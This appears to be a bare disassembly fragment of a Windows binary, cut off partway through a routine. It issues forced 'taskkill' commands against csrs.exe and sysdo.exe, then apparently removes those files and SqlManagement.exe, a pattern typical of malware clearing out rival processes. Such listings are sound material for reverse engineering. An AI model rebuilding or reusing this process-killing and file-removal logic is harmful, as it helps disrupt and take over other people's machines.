push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_csrs.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.csrs.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4052a5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.csrs.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40530b
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40531e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405341
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sysdo.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sysdo.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.sysdo.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405424
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.sysdo.exe
push dword [ebp - 0x18]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40548a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40549d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4054c0
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SqlManagement.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405507